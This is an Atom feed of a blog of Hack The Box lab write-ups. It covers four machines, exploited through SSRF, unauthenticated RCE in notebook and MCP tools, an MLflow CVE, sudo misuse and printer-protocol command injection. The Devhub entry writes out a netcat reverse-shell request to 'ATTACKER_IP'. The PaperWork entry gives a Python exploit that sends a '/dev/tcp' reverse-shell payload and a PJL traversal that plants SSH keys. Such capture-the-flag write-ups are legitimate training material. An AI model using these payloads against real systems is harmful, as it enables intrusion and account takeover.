<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://5liced.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://5liced.github.io/" rel="alternate" type="text/html" /><updated>2026-08-04T03:46:24+00:00</updated><id>https://5liced.github.io/feed.xml</id><title type="html">5liced@writeups</title><subtitle>Hack The Box writeups and offensive security notes.</subtitle><author><name>5liced</name></author><entry><title type="html">Cohort — HTB Writeup</title><link href="https://5liced.github.io/2026/08/03/htb-cohort.html" rel="alternate" type="text/html" title="Cohort — HTB Writeup" /><published>2026-08-03T00:00:00+00:00</published><updated>2026-08-03T00:00:00+00:00</updated><id>https://5liced.github.io/2026/08/03/htb-cohort</id><content type="html" xml:base="https://5liced.github.io/2026/08/03/htb-cohort.html"><![CDATA[<blockquote>
  <p><code class="language-plaintext highlighter-rouge">Cohort</code> is a simple machine focusing on enumeration and using CVE’s to priv escalate</p>
</blockquote>

<h2 id="recon">Recon</h2>

<p>Starting with the basic nmap and looking around</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">nmap -p- -vvv --min-rate 10000 &lt;MACHINE_IP&gt;</span><span class="w">
</span></code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>22</td>
      <td>ssh</td>
    </tr>
    <tr>
      <td>80</td>
      <td>http</td>
    </tr>
  </tbody>
</table>

<p>Http on port <code class="language-plaintext highlighter-rouge">80</code> tells us there is a website being hosted, after adding the ip to our /etc/hosts file we see:</p>

<p>There is also a portal page that allows us to submit a public url and it would pull the data from the file we uploaded. I hosted a normal csv from my machine and caputured the output in burp. I noticed that the site sent a POST request to a <code class="language-plaintext highlighter-rouge">/api/validate/</code> endpoint which returned back if it was sucessful and the content. The hints and description leaned towards SSRF so I used a list of localhost varients to brute force check if its reachable using burp suite. I found <code class="language-plaintext highlighter-rouge">http://0</code> was able to bypass the filter. I then began to enumerate to see if I could access any files and what ports were open on the internal side.</p>

<h2 id="user">User</h2>
<p>I found a few ports open, port 80 revealed to me a subdomain for a marimo notebook application being hosted on internal port 8888 and publically accessible on the subdomain ``. It was locked behind a Authentication token but after some reasearch I found a CVE that allows RCE without any authentication using websockets. Using the CVE i was able to reach user.</p>

<div class="flag">user.txt captured</div>
<pre><code class="language-flag">marimo@cohort:~$ cat user.txt
</code></pre>

<h1 id="root">Root</h1>
<p>To reach root I checked the packages that were installed using</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">dpkg -l
</span></code></pre></div></div>
<p>I found a package kit CVE that allowed RCE which gave me root</p>

<div class="flag">root.txt captured</div>
<pre><code class="language-flag">root@cohort:~$ cat root.txt
</code></pre>]]></content><author><name>5liced</name></author><category term="ssrf" /><category term="marimo" /><category term="packagekit" /><summary type="html"><![CDATA[Cohort is a simple machine focusing on enumeration and using CVE’s to priv escalate Recon Starting with the basic nmap and looking around nmap -p- -vvv --min-rate 10000 &lt;MACHINE_IP&gt; Port Service 22 ssh 80 http Http on port 80 tells us there is a website being hosted, after adding the ip to our /etc/hosts file we see: There is also a portal page that allows us to submit a public url and it would pull the data from the file we uploaded. I hosted a normal csv from my machine and caputured the output in burp. I noticed that the site sent a POST request to a /api/validate/ endpoint which returned back if it was sucessful and the content. The hints and description leaned towards SSRF so I used a list of localhost varients to brute force check if its reachable using burp suite. I found http://0 was able to bypass the filter. I then began to enumerate to see if I could access any files and what ports were open on the internal side. User I found a few ports open, port 80 revealed to me a subdomain for a marimo notebook application being hosted on internal port 8888 and publically accessible on the subdomain ``. It was locked behind a Authentication token but after some reasearch I found a CVE that allows RCE without any authentication using websockets. Using the CVE i was able to reach user. user.txt captured marimo@cohort:~$ cat user.txt Root To reach root I checked the packages that were installed using dpkg -l I found a package kit CVE that allowed RCE which gave me root root.txt captured root@cohort:~$ cat root.txt]]></summary></entry><entry><title type="html">Devhub — HTB Writeup</title><link href="https://5liced.github.io/2026/07/25/htb-devhub.html" rel="alternate" type="text/html" title="Devhub — HTB Writeup" /><published>2026-07-25T00:00:00+00:00</published><updated>2026-07-25T00:00:00+00:00</updated><id>https://5liced.github.io/2026/07/25/htb-devhub</id><content type="html" xml:base="https://5liced.github.io/2026/07/25/htb-devhub.html"><![CDATA[<blockquote>
  <p><code class="language-plaintext highlighter-rouge">Devhub</code> was a medium rated machine but felt more like a <code class="language-plaintext highlighter-rouge">easy</code> machine as it mainly focused on enumerations skills. It required you to enumerate internal services and utlize API tokens hardcoded in config files.</p>
</blockquote>

<h2 id="recon">Recon</h2>

<p>Starting with the basic nmap and looking around</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">nmap -p- -vvv --min-rate 10000 &lt;MACHINE_IP&gt;</span><span class="w">
</span></code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>22</td>
      <td>ssh</td>
    </tr>
    <tr>
      <td>80</td>
      <td>http</td>
    </tr>
    <tr>
      <td>6274</td>
      <td>unknown</td>
    </tr>
  </tbody>
</table>

<p>Http on port <code class="language-plaintext highlighter-rouge">80</code> tells us there is a website being hosted, after adding the ip to our /etc/hosts file we see:</p>

<p>The webpage hosted on http gives us some information about the platform features. We see that there is a debugging tool on port <code class="language-plaintext highlighter-rouge">6274</code> which we’ve seen before and also a internal service on port <code class="language-plaintext highlighter-rouge">8888</code>.</p>

<h2 id="foothold">Foothold</h2>

<p><code class="language-plaintext highlighter-rouge">MCPJam</code> is being hosted on that port, we can retrieve the version number <code class="language-plaintext highlighter-rouge">v1.4.2</code> from the settings page. This version is vulnerable to <a href="https://github.com/advisories/GHSA-232v-j27c-5pp6">RCE</a>.</p>

<p>We can craft and send a request to the endpoint using curl to get a shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">curl -X POST "http://devhub.htb:6274/api/mcp/connect" -H "Content-Type: application/json" -d '{"serverConfig":{"command":"busybox","args":["nc","ATTACKER_IP","PORT","-e","/bin/bash"],"env":{}},"serverId":"213j1l3jkljkl3j"}'
</span></code></pre></div></div>

<p>After upgrading the shell we are logged in as mcp-dev:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ 
</code></pre></div></div>

<p>Enumeration reveals another user <code class="language-plaintext highlighter-rouge">analyst</code> as well as a few ports open.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ ss -tulnp
Netid  State   Recv-Q  Send-Q    Local Address:Port     Peer Address:Port  Process                                      
udp    UNCONN  0       0         127.0.0.53%lo:53            0.0.0.0:*                                                  
udp    UNCONN  0       0               0.0.0.0:68            0.0.0.0:*                                                  
tcp    LISTEN  0       4096      127.0.0.53%lo:53            0.0.0.0:*                                                  
tcp    LISTEN  0       511             0.0.0.0:6274          0.0.0.0:*      users:(("node-MainThread",pid=1290,fd=29))  
tcp    LISTEN  0       128             0.0.0.0:22            0.0.0.0:*                                                  
tcp    LISTEN  0       511             0.0.0.0:80            0.0.0.0:*                                                  
tcp    LISTEN  0       128           127.0.0.1:5000          0.0.0.0:*                                                  
tcp    LISTEN  0       128           127.0.0.1:8888          0.0.0.0:*                                                  
tcp    LISTEN  0       128                [::]:22               [::]:*  
</code></pre></div></div>
<h2 id="lateral-movement-to-user">Lateral movement to User</h2>
<p>Port <code class="language-plaintext highlighter-rouge">5000</code> appears to be a OPSMCP server running as root but requires an API key and is owned by the user <code class="language-plaintext highlighter-rouge">analyst</code>. Port <code class="language-plaintext highlighter-rouge">8888</code> is hosting a jupyter notebook for the user analyst. Using <code class="language-plaintext highlighter-rouge">chisel</code> or <code class="language-plaintext highlighter-rouge">ssh</code> to port forward it back to our machines browser we can access the notebook and use the notebooks built in terminal as <code class="language-plaintext highlighter-rouge">analyst</code>.</p>

<div class="flag">user.txt captured</div>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">cat user.txt
e1bc3c77bafdf46739a1dbd86a11ca31
</span></code></pre></div></div>

<h2 id="root">Root</h2>
<p>Going back to port <code class="language-plaintext highlighter-rouge">5000</code> which is a <code class="language-plaintext highlighter-rouge">analyst</code> owned program being ran by root, we can view the contents of the <code class="language-plaintext highlighter-rouge">server.py</code>. The API key is hard coded:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># API Key for authentication
VALID_API_KEY = "opsmcp_admin_7f3b9c2d1e4f5a6b"
</code></pre></div></div>

<p>We also can see there’s a <code class="language-plaintext highlighter-rouge">ops._admin_dump</code> function that can dump <code class="language-plaintext highlighter-rouge">ssh_keys</code>. Since the user that is running the server.py is <code class="language-plaintext highlighter-rouge">root</code> we can dump it’s ssh keys and login as root through ssh.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -X POST http://127.0.0.1:5000/tools/call \
  -H "Content-Type: application/json" \
  -H "X-API-Key: opsmcp_secret_key_" \
  -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY----------END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"}
</code></pre></div></div>

<p>Using the private key we can then ssh as root to the machine and get root.txt</p>

<div class="flag">root.txt captured</div>
<pre><code class="language-flag">root@devhub:~# cat root.txt
9046c3298be4919e551112642854cbf4
</code></pre>]]></content><author><name>5liced</name></author><category term="python" /><category term="API" /><category term="tokens" /><category term="jupyter" /><summary type="html"><![CDATA[Devhub was a medium rated machine but felt more like a easy machine as it mainly focused on enumerations skills. It required you to enumerate internal services and utlize API tokens hardcoded in config files. Recon Starting with the basic nmap and looking around nmap -p- -vvv --min-rate 10000 &lt;MACHINE_IP&gt; Port Service 22 ssh 80 http 6274 unknown Http on port 80 tells us there is a website being hosted, after adding the ip to our /etc/hosts file we see: The webpage hosted on http gives us some information about the platform features. We see that there is a debugging tool on port 6274 which we’ve seen before and also a internal service on port 8888. Foothold MCPJam is being hosted on that port, we can retrieve the version number v1.4.2 from the settings page. This version is vulnerable to RCE. We can craft and send a request to the endpoint using curl to get a shell: curl -X POST "http://devhub.htb:6274/api/mcp/connect" -H "Content-Type: application/json" -d '{"serverConfig":{"command":"busybox","args":["nc","ATTACKER_IP","PORT","-e","/bin/bash"],"env":{}},"serverId":"213j1l3jkljkl3j"}' After upgrading the shell we are logged in as mcp-dev: mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ Enumeration reveals another user analyst as well as a few ports open. mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ ss -tulnp Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:* udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* tcp LISTEN 0 511 0.0.0.0:6274 0.0.0.0:* users:(("node-MainThread",pid=1290,fd=29)) tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* tcp LISTEN 0 128 127.0.0.1:5000 0.0.0.0:* tcp LISTEN 0 128 127.0.0.1:8888 0.0.0.0:* tcp LISTEN 0 128 [::]:22 [::]:* Lateral movement to User Port 5000 appears to be a OPSMCP server running as root but requires an API key and is owned by the user analyst. Port 8888 is hosting a jupyter notebook for the user analyst. Using chisel or ssh to port forward it back to our machines browser we can access the notebook and use the notebooks built in terminal as analyst. user.txt captured cat user.txt e1bc3c77bafdf46739a1dbd86a11ca31 Root Going back to port 5000 which is a analyst owned program being ran by root, we can view the contents of the server.py. The API key is hard coded: # API Key for authentication VALID_API_KEY = "opsmcp_admin_7f3b9c2d1e4f5a6b" We also can see there’s a ops._admin_dump function that can dump ssh_keys. Since the user that is running the server.py is root we can dump it’s ssh keys and login as root through ssh. curl -X POST http://127.0.0.1:5000/tools/call \ -H "Content-Type: application/json" \ -H "X-API-Key: opsmcp_secret_key_" \ -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' {"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY----------END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"} Using the private key we can then ssh as root to the machine and get root.txt root.txt captured root@devhub:~# cat root.txt 9046c3298be4919e551112642854cbf4]]></summary></entry><entry><title type="html">SmartHire — HTB Writeup</title><link href="https://5liced.github.io/2026/07/25/htb-smarthire.html" rel="alternate" type="text/html" title="SmartHire — HTB Writeup" /><published>2026-07-25T00:00:00+00:00</published><updated>2026-07-25T00:00:00+00:00</updated><id>https://5liced.github.io/2026/07/25/htb-smarthire</id><content type="html" xml:base="https://5liced.github.io/2026/07/25/htb-smarthire.html"><![CDATA[<blockquote>
  <p><code class="language-plaintext highlighter-rouge">SmartHire</code> was a medium machine involving a CVE abusing a python deserialization and reaching root by a sudo -l weakness</p>
</blockquote>

<h2 id="recon">Recon</h2>

<p>Starting with the basic nmap and looking around</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">nmap -p- -vvv --min-rate 10000 &lt;MACHINE_IP&gt;</span><span class="w">
</span></code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>22</td>
      <td>ssh</td>
    </tr>
    <tr>
      <td>80</td>
      <td>http</td>
    </tr>
  </tbody>
</table>

<p>Http on port <code class="language-plaintext highlighter-rouge">80</code> tells us there is a website being hosted, after adding the ip to our /etc/hosts file we see:</p>

<p>The webpage allows me to sign up an account and upload/test a model but there isn’t much we can do after that on the site. Further enumeration reveals a subdomain
<code class="language-plaintext highlighter-rouge">models.smarthire.htb</code></p>

<h2 id="foothold">Foothold</h2>

<p>The subdomain reveals a page hosting <code class="language-plaintext highlighter-rouge">MFlow 2.14.1</code> which is vulnerable to a RCE using <code class="language-plaintext highlighter-rouge">CVE-2024-37054</code>. I am able to pop a shell as <code class="language-plaintext highlighter-rouge">svcweb</code> which is also the correct user for the flag.</p>

<div class="flag">user.txt captured</div>
<pre><code class="language-flag">svcweb@smarthire:~$ cat user.txt
</code></pre>

<h2 id="root">Root</h2>

<p>After exploring the account I discover that we are able to run a python program as root.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svcweb@smarthire:~$ sudo -l
Matching Defaults entries for svcweb on smarthire:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User svcweb may run the following commands on smarthire:
    (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
</code></pre></div></div>
<p>The program goes through the plugins directory and runs code on each plugin found. I was able to create a malicious plugin that runs my own python code retrieving the root flag since I am able to run the program as root.</p>

<div class="flag">root.txt captured</div>
<pre><code class="language-flag">svcweb@smarthire:~$ cat root.txt
</code></pre>]]></content><author><name>5liced</name></author><category term="mflow" /><category term="python" /><category term="sudol" /><summary type="html"><![CDATA[SmartHire was a medium machine involving a CVE abusing a python deserialization and reaching root by a sudo -l weakness Recon Starting with the basic nmap and looking around nmap -p- -vvv --min-rate 10000 &lt;MACHINE_IP&gt; Port Service 22 ssh 80 http Http on port 80 tells us there is a website being hosted, after adding the ip to our /etc/hosts file we see: The webpage allows me to sign up an account and upload/test a model but there isn’t much we can do after that on the site. Further enumeration reveals a subdomain models.smarthire.htb Foothold The subdomain reveals a page hosting MFlow 2.14.1 which is vulnerable to a RCE using CVE-2024-37054. I am able to pop a shell as svcweb which is also the correct user for the flag. user.txt captured svcweb@smarthire:~$ cat user.txt Root After exploring the account I discover that we are able to run a python program as root. svcweb@smarthire:~$ sudo -l Matching Defaults entries for svcweb on smarthire: env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User svcweb may run the following commands on smarthire: (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py * The program goes through the plugins directory and runs code on each plugin found. I was able to create a malicious plugin that runs my own python code retrieving the root flag since I am able to run the program as root. root.txt captured svcweb@smarthire:~$ cat root.txt]]></summary></entry><entry><title type="html">PaperWork — HTB Writeup</title><link href="https://5liced.github.io/2026/07/18/htb-paperwork.html" rel="alternate" type="text/html" title="PaperWork — HTB Writeup" /><published>2026-07-18T00:00:00+00:00</published><updated>2026-07-18T00:00:00+00:00</updated><id>https://5liced.github.io/2026/07/18/htb-paperwork</id><content type="html" xml:base="https://5liced.github.io/2026/07/18/htb-paperwork.html"><![CDATA[<p><code class="language-plaintext highlighter-rouge">PaperWork</code> was a fun and straightforward machine centered around abusing Printer Job Language (<code class="language-plaintext highlighter-rouge">PJL</code>) to communicate with a printer service and gain an initial foothold. The privilege escalation was equally interesting, involving the exploitation of a <code class="language-plaintext highlighter-rouge">socket</code> misconfiguration through inherited file descriptors to obtain root. While the overall difficulty was relatively low, having to learn and work with <code class="language-plaintext highlighter-rouge">PJL</code> made the box require a bit more work and thinking.</p>

<h2 id="recon">Recon</h2>

<p>Starting with the basic nmap and looking around</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">nmap -p- -vvv --min-rate 10000 &lt;MACHINE_IP&gt;</span><span class="w">
</span></code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>22</td>
      <td>ssh</td>
    </tr>
    <tr>
      <td>80</td>
      <td>http</td>
    </tr>
    <tr>
      <td>1515</td>
      <td>ifor-protocol</td>
    </tr>
  </tbody>
</table>

<p>Http on port <code class="language-plaintext highlighter-rouge">80</code> tells us there is a website being hosted, after adding the ip to our /etc/hosts file we see:</p>

<p>The maintenence page tells us we have to use the legacy gateway and provides us with the backend server code as well as the protocol being used.</p>

<p>The server code is very simple, the workflow is:</p>
<ol>
  <li>Accept a TCP connection.</li>
  <li>Read the initial LPD command.</li>
  <li>Validate the requested print queue.</li>
  <li>Receive the print job’s control file.</li>
  <li>Extract the job name (J… field).</li>
  <li>Append Archive: <job_name> to /tmp/archive.log by invoking a shell command.</job_name></li>
  <li>Acknowledge success and close the connection.</li>
</ol>

<p>If you read the code carefully, you should notice a basic command injection on the line:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>subprocess.Popen(f"echo 'Archive: {job_name}' &gt;&gt; /tmp/archive.log", shell=True)
</code></pre></div></div>
<p>To exploit this we simply need to pass a job name and escape the string with an ‘ to be able to run our own command. Developing the exploit can be a bit tricky since you need to understand how LPD and RFC work, here’s a good documentation that helps https://datatracker.ietf.org/doc/html/rfc1179</p>

<p>Reverse shell exploit:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import socket

TARGET = ("MACHINE_IP", 1515)
QUEUE = b"archive_intake" 
payload = "'; bash -c 'bash -i &gt;/dev/tcp/ATTACKER_IP/PORT 0&gt;&amp;1'; echo '"
job_line = ("J" + payload + "\n").encode()
size = len(job_line)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(TARGET)
s.send(b"\x02" + QUEUE + b"\n")
s.send(b"\x02" + f"{size} cfA000host".encode() + b"\n")
s.send(job_line)
s.close()
</code></pre></div></div>
<p>This will give us a shell as <code class="language-plaintext highlighter-rouge">lp</code> on the machine</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lp@paperwork:/opt/LPDServer$ id
uid=7(lp) gid=7(lp) groups=7(lp)
</code></pre></div></div>

<h2 id="foothold">Foothold</h2>

<p>I ran <code class="language-plaintext highlighter-rouge">linpeas.sh</code> and confirmed that lp isn’t the main user that we want, there is another user <code class="language-plaintext highlighter-rouge">archivist</code> which is the actual user we need to get to.</p>

<p>We can also see that there are some interesting local services running, in particular port <code class="language-plaintext highlighter-rouge">9100</code> which is used for network printing, given the printing theme this may be a possible path.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ss -tulnp
</code></pre></div></div>
<p>127.0.0.1:9100</p>

<p><code class="language-plaintext highlighter-rouge">PJL</code> is the most popular language used to interact with printers daemons over the network. Reading through the documentation we can view the file system as well as interact with it. https://developers.hp.com/hp-printer-command-languages-pcl/doc/print-job-language-pjl</p>

<p>I wrote a quick program to grab its banner
<code>
import socket</code></p>

<p>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“127.0.0.1”, 9100))
s.send(b”\x1b%-12345X@PJL INFO ID\r\n\x1b%-12345X”)
print(s.recv(4096))
s.close()</p>

<p>&lt;/code&gt;
It confirmed back with <code class="language-plaintext highlighter-rouge">b'HP LASERJET 4ML\r\n'</code>
I also noticed that I was able to view the file system, after messing around I was able to escape out and view <code class="language-plaintext highlighter-rouge">archivist</code> home directory</p>

<p><code>
import socket</code></p>

<p>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“127.0.0.1”, 9100))
s.send(b”\x1b%-12345X@PJL FSDIRLIST NAME="../"\r\n\x1b%-12345X”)
print(s.recv(4096))
s.close()
&lt;/code&gt;</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>. TYPE=DIR
.. TYPE=DIR
.cache TYPE=DIR SIZE=4096
.bashrc TYPE=FILE SIZE=3771
.local TYPE=DIR SIZE=4096
.ssh TYPE=DIR SIZE=4096
.profile TYPE=FILE SIZE=807
.lesshst TYPE=FILE SIZE=20
.bash_history TYPE=FILE SIZE=0
user.txt TYPE=FILE SIZE=33
.bash_logout TYPE=FILE SIZE=220
.gnupg TYPE=DIR SIZE=4096
printer TYPE=DIR SIZE=4096
</code></pre></div></div>

<p>With access to his ssh keys, I was able to add my own ssh key into his authorized keys, allowing me to ssh as him</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>print(pjl(f'@PJL FSDOWNLOAD NAME="../.ssh/authorized_keys" SIZE={len(ssh_key)}\r\n{ssh_key}'))

</code></pre></div></div>
<h2 id="root">Root</h2>

<p>Running linpeas again as <code class="language-plaintext highlighter-rouge">archivist</code> revealed a paperwork process running as root. Examining the code for the process showed that it leaks the file descriptor for the admin config file when it shares it over sockets.</p>

<p>All we have to do is connect to the socket and then trigger a lockdown, the python daemon will then send the file descriptor over the socket which we can access. We can then use the file descriptor to read the actual config file and retrieve the root password.d</p>]]></content><author><name>5liced</name></author><category term="printer" /><category term="sockets" /><category term="daemon" /><category term="python" /><summary type="html"><![CDATA[PaperWork was a fun and straightforward machine centered around abusing Printer Job Language (PJL) to communicate with a printer service and gain an initial foothold. The privilege escalation was equally interesting, involving the exploitation of a socket misconfiguration through inherited file descriptors to obtain root. While the overall difficulty was relatively low, having to learn and work with PJL made the box require a bit more work and thinking. Recon Starting with the basic nmap and looking around nmap -p- -vvv --min-rate 10000 &lt;MACHINE_IP&gt; Port Service 22 ssh 80 http 1515 ifor-protocol Http on port 80 tells us there is a website being hosted, after adding the ip to our /etc/hosts file we see: The maintenence page tells us we have to use the legacy gateway and provides us with the backend server code as well as the protocol being used. The server code is very simple, the workflow is: Accept a TCP connection. Read the initial LPD command. Validate the requested print queue. Receive the print job’s control file. Extract the job name (J… field). Append Archive: to /tmp/archive.log by invoking a shell command. Acknowledge success and close the connection. If you read the code carefully, you should notice a basic command injection on the line: subprocess.Popen(f"echo 'Archive: {job_name}' &gt;&gt; /tmp/archive.log", shell=True) To exploit this we simply need to pass a job name and escape the string with an ‘ to be able to run our own command. Developing the exploit can be a bit tricky since you need to understand how LPD and RFC work, here’s a good documentation that helps https://datatracker.ietf.org/doc/html/rfc1179 Reverse shell exploit: import socket TARGET = ("MACHINE_IP", 1515) QUEUE = b"archive_intake" payload = "'; bash -c 'bash -i &gt;/dev/tcp/ATTACKER_IP/PORT 0&gt;&amp;1'; echo '" job_line = ("J" + payload + "\n").encode() size = len(job_line) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(TARGET) s.send(b"\x02" + QUEUE + b"\n") s.send(b"\x02" + f"{size} cfA000host".encode() + b"\n") s.send(job_line) s.close() This will give us a shell as lp on the machine lp@paperwork:/opt/LPDServer$ id uid=7(lp) gid=7(lp) groups=7(lp) Foothold I ran linpeas.sh and confirmed that lp isn’t the main user that we want, there is another user archivist which is the actual user we need to get to. We can also see that there are some interesting local services running, in particular port 9100 which is used for network printing, given the printing theme this may be a possible path. ss -tulnp 127.0.0.1:9100 PJL is the most popular language used to interact with printers daemons over the network. Reading through the documentation we can view the file system as well as interact with it. https://developers.hp.com/hp-printer-command-languages-pcl/doc/print-job-language-pjl I wrote a quick program to grab its banner import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“127.0.0.1”, 9100)) s.send(b”\x1b%-12345X@PJL INFO ID\r\n\x1b%-12345X”) print(s.recv(4096)) s.close() &lt;/code&gt; It confirmed back with b'HP LASERJET 4ML\r\n' I also noticed that I was able to view the file system, after messing around I was able to escape out and view archivist home directory import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“127.0.0.1”, 9100)) s.send(b”\x1b%-12345X@PJL FSDIRLIST NAME="../"\r\n\x1b%-12345X”) print(s.recv(4096)) s.close() &lt;/code&gt; . TYPE=DIR .. TYPE=DIR .cache TYPE=DIR SIZE=4096 .bashrc TYPE=FILE SIZE=3771 .local TYPE=DIR SIZE=4096 .ssh TYPE=DIR SIZE=4096 .profile TYPE=FILE SIZE=807 .lesshst TYPE=FILE SIZE=20 .bash_history TYPE=FILE SIZE=0 user.txt TYPE=FILE SIZE=33 .bash_logout TYPE=FILE SIZE=220 .gnupg TYPE=DIR SIZE=4096 printer TYPE=DIR SIZE=4096 With access to his ssh keys, I was able to add my own ssh key into his authorized keys, allowing me to ssh as him print(pjl(f'@PJL FSDOWNLOAD NAME="../.ssh/authorized_keys" SIZE={len(ssh_key)}\r\n{ssh_key}')) Root Running linpeas again as archivist revealed a paperwork process running as root. Examining the code for the process showed that it leaks the file descriptor for the admin config file when it shares it over sockets. All we have to do is connect to the socket and then trigger a lockdown, the python daemon will then send the file descriptor over the socket which we can access. We can then use the file descriptor to read the actual config file and retrieve the root password.d]]></summary></entry></feed>